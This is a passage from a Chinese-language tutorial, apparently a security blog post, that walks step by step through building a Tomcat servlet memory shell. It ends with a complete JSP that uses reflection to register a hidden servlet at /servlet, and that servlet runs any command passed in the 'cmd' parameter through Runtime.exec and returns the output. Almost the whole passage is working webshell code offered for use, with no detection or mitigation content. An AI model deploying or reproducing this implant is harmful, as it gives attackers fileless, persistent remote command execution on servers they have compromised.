while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>
獲得StandardContext對象
// 獲得StandardContext
Field reqF=request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardCcontext = (StandardContext) req.getContext();
建立Wrapper
// 建立Wrapper
Servlet_memshell servlet_memshell = new Servlet_memshell();
Wrapper wrapper = standardCcontext.createWrapper();
設定Servlet屬性
設定loadOnStartup屬性
wrapper.setLoadOnStartup(1);
設定ServletName屬性
wrapper.setName(name);
設定ServletClass屬性
wrapper.setServlet(servlet_memshell);
動态注冊Servlet
// 将Wrapper添加到StandardContext
standardCcontext.addChild(wrapper);
standardCcontext.addServletMappingDecoded("/servlet",name);
Servlet記憶體馬完整代碼
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%!
public class Servlet_memshell extends HttpServlet {
private String message;
public void init() {
message = "Servlet 指令執行輸出:\n";
}
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>
<%
// 獲得StandardContext
Field reqF=request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardCcontext = (StandardContext) req.getContext();
// 建立Wrapper
Servlet_memshell servlet_memshell = new Servlet_memshell();
Wrapper wrapper = standardCcontext.createWrapper();
String name = servlet_memshell.getClass().getSimpleName();
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet_memshell);
wrapper.setServletClass(servlet_memshell.getClass().getName());
// 将Wrapper添加到StandardContext
standardCcontext.addChild(wrapper);
standardCcontext.addServletMappingDecoded("/servlet",name);
%>
參考連結
Request和Response的概述及其方法_pan-jin的部落格-CSDN部落格_response實作了什麼接口
servlet記憶體馬
Java安全學習——記憶體馬
Tomcat 記憶體馬(一)Listener型